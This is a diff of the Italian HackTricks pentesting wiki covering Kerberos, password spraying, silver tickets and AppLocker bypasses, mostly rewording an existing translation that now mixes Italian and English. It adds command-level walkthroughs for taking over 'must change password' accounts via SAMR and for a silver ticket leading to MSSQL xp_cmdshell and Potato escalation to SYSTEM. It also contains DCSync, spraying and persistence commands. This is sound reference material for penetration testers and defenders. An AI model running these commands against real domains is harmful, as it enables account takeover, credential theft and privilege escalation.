diff --git a/src/windows-hardening/active-directory-methodology/kerberos-authentication.md b/src/windows-hardening/active-directory-methodology/kerberos-authentication.md
index b7e3b7986..e121c2194 100644
--- a/src/windows-hardening/active-directory-methodology/kerberos-authentication.md
+++ b/src/windows-hardening/active-directory-methodology/kerberos-authentication.md
@@ -2,6 +2,6 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-**Controlla il fantastico post di:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/)
+**Consulta l'ottimo articolo di:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/)
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/active-directory-methodology/password-spraying.md b/src/windows-hardening/active-directory-methodology/password-spraying.md
index 899bb7790..e8f381cdc 100644
--- a/src/windows-hardening/active-directory-methodology/password-spraying.md
+++ b/src/windows-hardening/active-directory-methodology/password-spraying.md
@@ -5,16 +5,16 @@
 
 ## **Password Spraying**
 
-Una volta trovati diversi **username validi** puoi provare le **password più comuni** (tieni presente la password policy dell'ambiente) con ciascuno degli utenti scoperti.\ 
-Per **default** la **lunghezza minima** della **password** è **7**.
+Una volta che hai trovato diversi **valid usernames** puoi provare le più **common passwords** (tieni presente la password policy dell'ambiente) con ciascuno degli utenti scoperti.\
+Per **default** la **minimum password length** è **7**.
 
 Lists of common usernames could also be useful: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
 
-Nota che **potresti bloccare alcuni account se provi diverse password sbagliate** (di default più di 10).
+Nota che potresti **could lockout some accounts if you try several wrong passwords** (di default più di 10).
 
-### Ottenere la password policy
+### Get password policy
 
-Se hai delle credenziali utente o una shell come domain user puoi **ottenere la password policy con**:
+Se hai some user credentials o una shell come domain user puoi **get the password policy with**:
 ```bash
 # From Linux
 crackmapexec <IP> -u 'user' -p 'password' --pass-pol
@@ -31,9 +31,9 @@ net accounts
 
 (Get-DomainPolicy)."SystemAccess" #From powerview
 ```
-### Sfruttamento da Linux (o qualsiasi sistema)
+### Sfruttamento da Linux (o tutti)
 
-- Usando **crackmapexec:**
+- Utilizzando **crackmapexec:**
 ```bash
 crackmapexec smb <IP> -u users.txt -p passwords.txt
 # Local Auth Spray (once you found some local admin pass or hash)
@@ -51,7 +51,7 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
 ```bash
 spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
 ```
-- Usando [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NON RACCOMANDATO — A VOLTE NON FUNZIONA
+- Usando [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NON RACCOMANDATO, A VOLTE NON FUNZIONA
 ```bash
 python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
 python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
@@ -69,7 +69,7 @@ done
 ```
 #### Da Windows
 
-- Con la versione di [Rubeus](https://github.com/Zer1t0/Rubeus) con brute module:
+- Con [Rubeus](https://github.com/Zer1t0/Rubeus) versione con brute module:
 ```bash
 # with a list of users
 .\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
@@ -77,7 +77,7 @@ done
 # check passwords for all users in current domain
 .\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
 ```
-- Con [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Può generare automaticamente gli utenti dal dominio e recupera la password policy dal dominio, limitando i tentativi in base a essa):
+- Con [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Può generare utenti dal dominio per impostazione predefinita e otterrà la password policy dal dominio e limiterà i tentativi in base a questa):
 ```bash
 Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
 ```
@@ -85,23 +85,55 @@ Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
 ```
 Invoke-SprayEmptyPassword
 ```
+### Identificare e prendere il controllo degli account "Password must change at next logon" (SAMR)
+
+Una tecnica a basso impatto consiste nell'usare password spraying con una password benign/empty e rilevare gli account che restituiscono STATUS_PASSWORD_MUST_CHANGE, il che indica che la password è stata forzatamente scaduta e può essere cambiata senza conoscere quella precedente.
+
+Workflow:
+- Enumerare gli utenti (RID brute via SAMR) per creare la lista degli obiettivi:
+
+{{#ref}}
+../../network-services-pentesting/pentesting-smb/rpcclient-enumeration.md
+{{#endref}}
+```bash
+# NetExec (null/guest) + RID brute to harvest users
+netexec smb <dc_fqdn> -u '' -p '' --rid-brute | awk -F'\\\\| ' '/SidTypeUser/ {print $3}' > users.txt
+```
+- Esegui un password-spray con una password vuota e continua sui hits per catturare account che devono cambiare al prossimo logon:
+```bash
+# Will show valid, lockout, and STATUS_PASSWORD_MUST_CHANGE among results
+netexec smb <DC.FQDN> -u users.txt -p '' --continue-on-success
+```
+- Per ogni hit, cambia la password tramite SAMR con il modulo NetExec (non è necessaria la vecchia password quando "must change" è impostato):
+```bash
+# Strong complexity to satisfy policy
+env NEWPASS='P@ssw0rd!2025#' ; \
+netexec smb <DC.FQDN> -u <User> -p '' -M change-password -o NEWPASS="$NEWPASS"
+
+# Validate and retrieve domain password policy with the new creds
+netexec smb <DC.FQDN> -u <User> -p "$NEWPASS" --pass-pol
+```
+Note operative:
+- Assicurati che l'orologio del tuo host sia sincronizzato con il DC prima di effettuare operazioni basate su Kerberos: `sudo ntpdate <dc_fqdn>`.
+- Un [+] senza (Pwn3d!) in alcuni moduli (es. RDP/WinRM) significa che le creds sono valide ma l'account non ha i diritti di accesso interattivo.
+
 ## Brute Force
 ```bash
 legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org
 ```
-### Kerberos pre-auth spraying with LDAP targeting and PSO-aware throttling (SpearSpray)
+### Kerberos pre-auth spraying con targeting LDAP e throttling consapevole delle PSO (SpearSpray)
 
-Kerberos pre-auth–based spraying riduce il rumore rispetto a SMB/NTLM/LDAP bind attempts e si allinea meglio con AD lockout policies. SpearSpray unisce LDAP-driven targeting, un motore di pattern e awareness delle policy (domain policy + PSOs + badPwdCount buffer) per sprayare in modo preciso e sicuro. Può anche taggare i principals compromessi in Neo4j per BloodHound pathing.
+Il spraying basato su Kerberos pre-auth riduce il rumore rispetto ai tentativi di bind SMB/NTLM/LDAP e si allinea meglio alle policy di lockout di AD. SpearSpray combina targeting guidato da LDAP, un motore di pattern e la conoscenza delle policy (domain policy + PSOs + badPwdCount buffer) per spruzzare in modo preciso e sicuro. Può anche taggare i principal compromessi in Neo4j per il pathing di BloodHound.
 
 Concetti chiave:
-- Scoperta degli utenti via LDAP con paginazione e supporto LDAPS, opzionalmente usando filtri LDAP personalizzati.
-- Domain lockout policy + PSO-aware filtering per lasciare un buffer configurabile di tentativi (threshold) e evitare di bloccare gli utenti.
-- Kerberos pre-auth validation usando binding gssapi veloci (genera 4768/4771 sui DCs invece di 4625).
-- Generazione di password per utente basata su pattern usando variabili come nomi e valori temporali derivati da pwdLastSet di ogni utente.
+- Scoperta utenti via LDAP con paging e supporto LDAPS, opzionalmente usando filtri LDAP personalizzati.
+- Domain lockout policy + filtraggio consapevole delle PSO per lasciare un buffer configurabile di tentativi (soglia) ed evitare di bloccare gli utenti.
+- Kerberos pre-auth validation usando fast gssapi bindings (genera 4768/4771 sui DCs invece di 4625).
+- Generazione password basata su pattern, per utente, utilizzando variabili come nomi e valori temporali derivati dal pwdLastSet di ciascun utente.
 - Controllo del throughput con threads, jitter e max requests per second.
-- Integrazione opzionale con Neo4j per marcare owned users per BloodHound.
+- Integrazione opzionale con Neo4j per marcare gli utenti compromessi per BloodHound.
 
-Uso base e scoperta:
+Uso e scoperta di base:
 ```bash
 # List available pattern variables
 spearspray -l
@@ -121,7 +153,7 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
 # Use separators/suffixes and an org token consumed by patterns via {separator}/{suffix}/{extra}
 spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -sep @-_ -suf !? -x ACME
 ```
-Controlli di stealth e sicurezza:
+Controlli di Stealth e sicurezza:
 ```bash
 # Control concurrency, add jitter, and cap request rate
 spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -t 5 -j 3,5 --max-rps 10
@@ -133,7 +165,7 @@ Neo4j/BloodHound arricchimento:
 ```bash
 spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -nu neo4j -np bloodhound --uri bolt://localhost:7687
 ```
-Panoramica del sistema dei pattern (patterns.txt):
+Panoramica del sistema di pattern (patterns.txt):
 ```text
 # Example templates consuming per-user attributes and temporal context
 {name}{separator}{year}{suffix}
@@ -156,15 +188,15 @@ Operational notes:
 
 ## Outlook Web Access
 
-Ci sono diversi strumenti per p**assword spraying outlook**.
+Esistono più strumenti per p**assword spraying outlook**.
 
 - Con [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/)
-- Con [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/)
+- con [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/)
 - Con [Ruler](https://github.com/sensepost/ruler) (affidabile!)
 - Con [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell)
 - Con [MailSniper](https://github.com/dafthack/MailSniper) (Powershell)
 
-Per usare uno qualsiasi di questi strumenti, ti serve una lista di utenti e una password / una piccola lista di password da spray.
+Per usare uno di questi strumenti, ti serve una lista di utenti e una password / una piccola lista di password per il password spraying.
 ```bash
 ./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
 [x] Failed: larsson:Summer2020
@@ -194,6 +226,7 @@ Per usare uno qualsiasi di questi strumenti, ti serve una lista di utenti e una
 - [https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell)
 - [www.blackhillsinfosec.com/?p=5296](https://www.blackhillsinfosec.com/?p=5296)
 - [https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying](https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying)
+- [HTB Sendai – 0xdf: from spray to gMSA to DA/SYSTEM](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html)
 
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/active-directory-methodology/silver-ticket.md b/src/windows-hardening/active-directory-methodology/silver-ticket.md
index a576308f5..4bffc7f26 100644
--- a/src/windows-hardening/active-directory-methodology/silver-ticket.md
+++ b/src/windows-hardening/active-directory-methodology/silver-ticket.md
@@ -6,13 +6,12 @@
 
 ## Silver ticket
 
-L'attacco **Silver Ticket** comporta lo sfruttamento dei ticket di servizio negli ambienti Active Directory (AD). Questo metodo si basa su **acquisire l'hash NTLM di un account di servizio**, come un account computer, per forgiare un ticket del Ticket Granting Service (TGS). Con questo ticket falsificato, un attaccante può accedere a servizi specifici sulla rete, **impersonando qualsiasi utente**, tipicamente puntando a privilegi amministrativi. È sottolineato che l'uso di chiavi AES per forgiare ticket è più sicuro e meno rilevabile.
+L'attacco **Silver Ticket** comporta lo sfruttamento dei ticket di servizio negli ambienti Active Directory (AD). Questo metodo si basa sull'**acquisizione dell'NTLM hash di un account di servizio**, come un account computer, per forgiare un Ticket Granting Service (TGS) ticket. Con questo ticket forgiato, un attaccante può accedere a servizi specifici sulla rete, **impersonando qualsiasi utente**, generalmente puntando a privilegi amministrativi. Si sottolinea che l'uso di AES keys per forgiare i ticket è più sicuro e meno rilevabile.
 
 > [!WARNING]
-> I Silver Tickets sono meno rilevabili dei Golden Tickets perché richiedono solo l'**hash dell'account di servizio**, non l'account krbtgt. Tuttavia, sono limitati al servizio specifico che mirano. Inoltre, basta rubare la password di un utente.
-Inoltre, se comprometti la **password di un account con un SPN** puoi usare quella password per creare un Silver Ticket impersonando qualsiasi utente per quel servizio.
+> I Silver Tickets sono meno rilevabili dei Golden Tickets perché richiedono solo l'**hash dell'account di servizio**, non l'account krbtgt. Tuttavia, sono limitati al servizio specifico che prendono di mira. Inoltre, basta compromettere la password di un utente: se comprometti la **password di un account con un SPN** puoi usare quella password per creare un Silver Ticket e impersonare qualsiasi utente per quel servizio.
 
-Per la creazione di ticket, vengono impiegati diversi strumenti in base al sistema operativo:
+Per la creazione dei ticket, vengono impiegati strumenti diversi in base al sistema operativo:
 
 ### On Linux
 ```bash
@@ -37,48 +36,80 @@ mimikatz.exe "kerberos::ptt <TICKET_FILE>"
 # Obtain a shell
 .\PsExec.exe -accepteula \\<TARGET> cmd
 ```
-Il servizio CIFS è evidenziato come un obiettivo comune per accedere al file system della vittima, ma altri servizi come HOST e RPCSS possono essere sfruttati anche per attività e query WMI.
+### Esempio: MSSQL service (MSSQLSvc) + Potato to SYSTEM
 
-## Servizi Disponibili
+Il servizio CIFS è evidenziato come un bersaglio comune per accedere al file system della vittima, ma altri servizi come HOST e RPCSS possono anche essere sfruttati per task e query WMI.
 
-| Tipo di Servizio                           | Biglietti Silver del Servizio                                            |
-| ------------------------------------------ | ------------------------------------------------------------------------ |
-| WMI                                        | <p>HOST</p><p>RPCSS</p>                                                |
-| PowerShell Remoting                        | <p>HOST</p><p>HTTP</p><p>A seconda del sistema operativo anche:</p><p>WSMAN</p><p>RPCSS</p> |
-| WinRM                                      | <p>HOST</p><p>HTTP</p><p>In alcune occasioni puoi semplicemente chiedere: WINRM</p> |
-| Attività Pianificate                       | HOST                                                                   |
-| Condivisione File di Windows, anche psexec | CIFS                                                                   |
-| Operazioni LDAP, incluso DCSync           | LDAP                                                                   |
-| Strumenti di Amministrazione Remota di Windows | <p>RPCSS</p><p>LDAP</p><p>CIFS</p>                                   |
-| Biglietti d'Oro                           | krbtgt                                                                 |
+Se possiedi l'hash NTLM (o la chiave AES) di un account di servizio SQL (es. sqlsvc) puoi forgiare un TGS per il MSSQL SPN e impersonare qualsiasi utente verso il servizio SQL. Da lì, abilita xp_cmdshell per eseguire comandi come l'account di servizio SQL. Se quel token ha SeImpersonatePrivilege, esegui una escalation con Potato per ottenere SYSTEM.
+```bash
+# Forge a silver ticket for MSSQLSvc (RC4/NTLM example)
+python ticketer.py -nthash <SQLSVC_RC4> -domain-sid <DOMAIN_SID> -domain <DOMAIN> \
+-spn MSSQLSvc/<host.fqdn>:1433 administrator
+export KRB5CCNAME=$PWD/administrator.ccache
 
-Utilizzando **Rubeus** puoi **richiedere tutti** questi biglietti utilizzando il parametro:
+# Connect to SQL using Kerberos and run commands via xp_cmdshell
+impacket-mssqlclient -k -no-pass <DOMAIN>/administrator@<host.fqdn>:1433 \
+-q "EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;EXEC xp_cmdshell 'whoami'"
+```
+- Se il contesto risultante ha SeImpersonatePrivilege (spesso vero per service accounts), usa una variante di Potato per ottenere SYSTEM:
+```bash
+# On the target host (via xp_cmdshell or interactive), run e.g. PrintSpoofer/GodPotato
+PrintSpoofer.exe -c "cmd /c whoami"
+# or
+GodPotato -cmd "cmd /c whoami"
+```
+Più dettagli sull'abuso di MSSQL e l'abilitazione di xp_cmdshell:
+
+{{#ref}}
+abusing-ad-mssql.md
+{{#endref}}
+
+Panoramica delle tecniche Potato:
+
+{{#ref}}
+../windows-local-privilege-escalation/roguepotato-and-printspoofer.md
+{{#endref}}
+
+## Servizi disponibili
+
+| Tipo di servizio                           | Service Silver Tickets                                                     |
+| ------------------------------------------ | -------------------------------------------------------------------------- |
+| WMI                                        | <p>HOST</p><p>RPCSS</p>                                                    |
+| PowerShell Remoting                        | <p>HOST</p><p>HTTP</p><p>Depending on OS also:</p><p>WSMAN</p><p>RPCSS</p> |
+| WinRM                                      | <p>HOST</p><p>HTTP</p><p>In some occasions you can just ask for: WINRM</p> |
+| Scheduled Tasks                            | HOST                                                                       |
+| Windows File Share, also psexec            | CIFS                                                                       |
+| LDAP operations, included DCSync           | LDAP                                                                       |
+| Windows Remote Server Administration Tools | <p>RPCSS</p><p>LDAP</p><p>CIFS</p>                                         |
+| Golden Tickets                             | krbtgt                                                                     |
+
+Usando **Rubeus** puoi **richiedere tutti** questi ticket usando il parametro:
 
 - `/altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm`
 
-### ID Evento Biglietti Silver
+### Event ID dei Silver tickets
 
-- 4624: Accesso all'Account
-- 4634: Disconnessione dall'Account
-- 4672: Accesso Amministratore
+- 4624: Accesso account
+- 4634: Chiusura sessione account
+- 4672: Accesso amministratore
 
 ## Persistenza
 
-Per evitare che le macchine ruotino la loro password ogni 30 giorni, imposta `HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1` oppure puoi impostare `HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge` a un valore maggiore di 30 giorni per indicare il periodo di rotazione quando la password della macchina dovrebbe essere ruotata.
+Per evitare che le macchine ruotino la loro password ogni 30 giorni impostare `HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1` oppure puoi impostare `HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge` su un valore maggiore di 30 giorni per indicare il periodo di rotazione quando la password della macchina dovrebbe essere ruotata.
 
-## Abuso dei Biglietti di Servizio
+## Abuso dei Service tickets
 
-Negli esempi seguenti immaginiamo che il biglietto venga recuperato impersonando l'account amministratore.
+Negli esempi seguenti immaginiamo che il ticket sia stato ottenuto impersonando l'account administrator.
 
 ### CIFS
 
-Con questo biglietto sarai in grado di accedere alle cartelle `C$` e `ADMIN$` tramite **SMB** (se sono esposte) e copiare file in una parte del file system remoto semplicemente facendo qualcosa come:
+Con questo ticket potrai accedere alle cartelle `C$` e `ADMIN$` via **SMB** (se esposte) e copiare file su una parte del filesystem remoto semplicemente facendo qualcosa del tipo:
 ```bash
 dir \\vulnerable.computer\C$
 dir \\vulnerable.computer\ADMIN$
 copy afile.txt \\vulnerable.computer\C$\Windows\Temp
 ```
-Potrai anche ottenere una shell all'interno dell'host o eseguire comandi arbitrari utilizzando **psexec**:
+Sarai anche in grado di ottenere una shell sull'host o eseguire comandi arbitrari usando **psexec**:
 
 
 {{#ref}}
@@ -87,7 +118,7 @@ Potrai anche ottenere una shell all'interno dell'host o eseguire comandi arbitra
 
 ### HOST
 
-Con questo permesso puoi generare attività pianificate nei computer remoti ed eseguire comandi arbitrari:
+Con questo permesso puoi creare attività pianificate su computer remoti ed eseguire comandi arbitrari:
 ```bash
 #Check you have permissions to use schtasks over a remote server
 schtasks /S some.vuln.pc
@@ -101,7 +132,7 @@ schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName"
 ```
 ### HOST + RPCSS
 
-Con questi biglietti puoi **eseguire WMI nel sistema della vittima**:
+Con questi tickets puoi **eseguire WMI sul sistema della vittima**:
 ```bash
 #Check you have enough privileges
 Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local
@@ -111,7 +142,8 @@ Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlis
 #You can also use wmic
 wmic remote.computer.local list full /format:list
 ```
-Trova **ulteriori informazioni su wmiexec** nella seguente pagina:
+Trova **maggiori informazioni su wmiexec** nella pagina seguente:
+
 
 {{#ref}}
 ../lateral-movement/wmiexec.md
@@ -119,11 +151,12 @@ Trova **ulteriori informazioni su wmiexec** nella seguente pagina:
 
 ### HOST + WSMAN (WINRM)
 
-Con l'accesso winrm a un computer puoi **accedervi** e persino ottenere un PowerShell:
+Con accesso winrm a un computer puoi **accedervi** e persino ottenere una PowerShell:
 ```bash
 New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC
 ```
-Controlla la seguente pagina per apprendere **ulteriori modi per connettersi a un host remoto utilizzando winrm**:
+Consulta la pagina seguente per scoprire **altri modi per connetterti a un host remoto usando winrm**:
+
 
 {{#ref}}
 ../lateral-movement/winrm.md
@@ -134,11 +167,11 @@ Controlla la seguente pagina per apprendere **ulteriori modi per connettersi a u
 
 ### LDAP
 
-Con questo privilegio puoi eseguire il dump del database DC utilizzando **DCSync**:
+Con questo privilegio puoi dump the DC database using **DCSync**:
 ```
 mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt
 ```
-**Scopri di più su DCSync** nella seguente pagina:
+**Per saperne di più su DCSync** nella seguente pagina:
 
 
 {{#ref}}
@@ -151,6 +184,7 @@ dcsync.md
 - [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets)
 - [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)
 - [https://techcommunity.microsoft.com/blog/askds/machine-account-password-process/396027](https://techcommunity.microsoft.com/blog/askds/machine-account-password-process/396027)
+- [HTB Sendai – 0xdf: Silver Ticket + Potato path](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html)
 
 
 
diff --git a/src/windows-hardening/authentication-credentials-uac-and-efs/README.md b/src/windows-hardening/authentication-credentials-uac-and-efs/README.md
index 0a365abfe..74fad4fc6 100644
--- a/src/windows-hardening/authentication-credentials-uac-and-efs/README.md
+++ b/src/windows-hardening/authentication-credentials-uac-and-efs/README.md
@@ -1,17 +1,17 @@
-# Windows Security Controls
+# Controlli di Sicurezza Windows
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## AppLocker Policy
+## Criteri AppLocker
 
-Un elenco di autorizzazione delle applicazioni è un elenco di applicazioni software o eseguibili approvati che possono essere presenti ed eseguiti su un sistema. L'obiettivo è proteggere l'ambiente da malware dannoso e software non approvato che non si allinea con le specifiche esigenze aziendali di un'organizzazione.
+Un application whitelist è un elenco di software o eseguibili approvati che sono autorizzati a essere presenti ed eseguiti su un sistema. L'obiettivo è proteggere l'ambiente da malware dannosi e software non approvato che non è allineato alle specifiche esigenze di business di un'organizzazione.
 
-[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) è la **soluzione di autorizzazione delle applicazioni** di Microsoft e offre agli amministratori di sistema il controllo su **quali applicazioni e file gli utenti possono eseguire**. Fornisce **controllo granulare** su eseguibili, script, file di installazione di Windows, DLL, app confezionate e installatori di app confezionate.\
-È comune per le organizzazioni **bloccare cmd.exe e PowerShell.exe** e l'accesso in scrittura a determinate directory, **ma tutto questo può essere aggirato**.
+[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) è la **soluzione di application whitelisting** di Microsoft e dà agli amministratori di sistema il controllo su **quali applicazioni e file gli utenti possono eseguire**. Fornisce **controllo granulare** su eseguibili, script, file di installazione di Windows, DLL, packaged apps e packed app installers.\
+È comune che le organizzazioni **blocchino cmd.exe e PowerShell.exe** e l'accesso in scrittura a determinate directory, **ma tutto questo può essere bypassato**.
 
-### Check
+### Verifica
 
-Controlla quali file/estensioni sono nella lista nera/nella lista bianca:
+Verifica quali file/estensioni sono blacklisted/whitelisted:
 ```bash
 Get-ApplockerPolicy -Effective -xml
 
@@ -20,60 +20,60 @@ Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
 $a = Get-ApplockerPolicy -effective
 $a.rulecollections
 ```
-Questo percorso del registro contiene le configurazioni e le politiche applicate da AppLocker, fornendo un modo per rivedere l'attuale insieme di regole applicate sul sistema:
+Questo percorso del registro contiene le configurazioni e le politiche applicate da AppLocker, fornendo un modo per rivedere l'insieme corrente di regole applicate sul sistema:
 
 - `HKLM\Software\Policies\Microsoft\Windows\SrpV2`
 
 ### Bypass
 
-- **Cartelle scrivibili** utili per bypassare la politica di AppLocker: Se AppLocker consente di eseguire qualsiasi cosa all'interno di `C:\Windows\System32` o `C:\Windows`, ci sono **cartelle scrivibili** che puoi utilizzare per **bypassare questo**.
+- Utili **Writable folders** to bypass AppLocker Policy: Se AppLocker consente l'esecuzione di qualsiasi cosa all'interno di `C:\Windows\System32` o `C:\Windows`, ci sono **writable folders** che puoi usare per **bypass this**.
 ```
 C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
 C:\Windows\System32\spool\drivers\color
 C:\Windows\Tasks
 C:\windows\tracing
 ```
-- I comuni **binaries** [**"LOLBAS's"**](https://lolbas-project.github.io/) di **fiducia** possono essere utili per bypassare AppLocker.
-- **Regole scritte male potrebbero anche essere bypassate**
-- Ad esempio, **`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**, puoi creare una **cartella chiamata `allowed`** ovunque e sarà consentita.
-- Le organizzazioni spesso si concentrano sul **blocco dell'eseguibile `%System32%\WindowsPowerShell\v1.0\powershell.exe`**, ma dimenticano le **altre** [**posizioni eseguibili di PowerShell**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) come `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` o `PowerShell_ISE.exe`.
-- **L'applicazione delle DLL è molto raramente abilitata** a causa del carico aggiuntivo che può mettere su un sistema e della quantità di test necessari per garantire che nulla si rompa. Quindi utilizzare **DLL come backdoor aiuterà a bypassare AppLocker**.
-- Puoi usare [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) o [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) per **eseguire codice Powershell** in qualsiasi processo e bypassare AppLocker. Per ulteriori informazioni controlla: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode).
+- I binari comunemente **affidabili** [**"LOLBAS's"**](https://lolbas-project.github.io/) possono essere anche utili per bypassare AppLocker.
+- **Regole scritte male potrebbero essere bypassate**
+- Per esempio, **`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**, puoi creare una **cartella chiamata `allowed`** in qualsiasi punto e sarà consentita.
+- Le organizzazioni spesso si concentrano sul **bloccare l'eseguibile `%System32%\WindowsPowerShell\v1.0\powershell.exe`**, ma si dimenticano delle **altre** [**PowerShell executable locations**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) come `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` o `PowerShell_ISE.exe`.
+- **DLL enforcement very rarely enabled** a causa del carico aggiuntivo che può imporre sul sistema e della quantità di test necessari per garantire che nulla si rompa. Quindi usare le **DLL come backdoors aiuta a bypassare AppLocker**.
+- Puoi usare [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) o [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) per **eseguire codice Powershell** in qualsiasi processo e bypassare AppLocker. Per maggiori informazioni controlla: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode).
 
-## Archiviazione delle credenziali
+## Memorizzazione delle credenziali
 
 ### Security Accounts Manager (SAM)
 
-Le credenziali locali sono presenti in questo file, le password sono hashate.
+Le credenziali locali sono presenti in questo file, le password sono memorizzate come hash.
 
 ### Local Security Authority (LSA) - LSASS
 
-Le **credenziali** (hashate) sono **salvate** nella **memoria** di questo sottosistema per motivi di Single Sign-On.\
-**LSA** amministra la **politica di sicurezza** locale (politica delle password, permessi degli utenti...), **autenticazione**, **token di accesso**...\
-LSA sarà colui che **verificherà** le credenziali fornite all'interno del file **SAM** (per un accesso locale) e **parlerà** con il **controller di dominio** per autenticare un utente di dominio.
+Le **credenziali** (in forma di hash) sono **salvate** nella **memoria** di questo sottosistema per ragioni di Single Sign-On.\
+**LSA** amministra la **politica di sicurezza** locale (politica delle password, permessi utenti...), **autenticazione**, **token di accesso**...\
+LSA sarà quello che **verificherà** le credenziali fornite all'interno del file **SAM** (per un login locale) e **comunicherà** con il **domain controller** per autenticare un utente di dominio.
 
-Le **credenziali** sono **salvate** all'interno del **processo LSASS**: ticket Kerberos, hash NT e LM, password facilmente decrittabili.
+Le **credenziali** sono **salvate** all'interno del **processo LSASS**: ticket Kerberos, hash NT e LM, password facilmente decriptabili.
 
-### Segreti LSA
+### LSA secrets
 
-LSA potrebbe salvare su disco alcune credenziali:
+LSA può salvare su disco alcune credenziali:
 
-- Password dell'account computer dell'Active Directory (controller di dominio irraggiungibile).
+- Password dell'account computer dell'Active Directory (domain controller non raggiungibile).
 - Password degli account dei servizi Windows
-- Password per attività pianificate
-- Altro (password delle applicazioni IIS...)
+- Password per le attività pianificate
+- Altro (password di applicazioni IIS...)
 
 ### NTDS.dit
 
-È il database dell'Active Directory. È presente solo nei Domain Controllers.
+È il database di Active Directory. È presente solo nei Domain Controller.
 
 ## Defender
 
-[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) è un Antivirus disponibile in Windows 10 e Windows 11, e nelle versioni di Windows Server. **Blocca** strumenti comuni di pentesting come **`WinPEAS`**. Tuttavia, ci sono modi per **bypassare queste protezioni**.
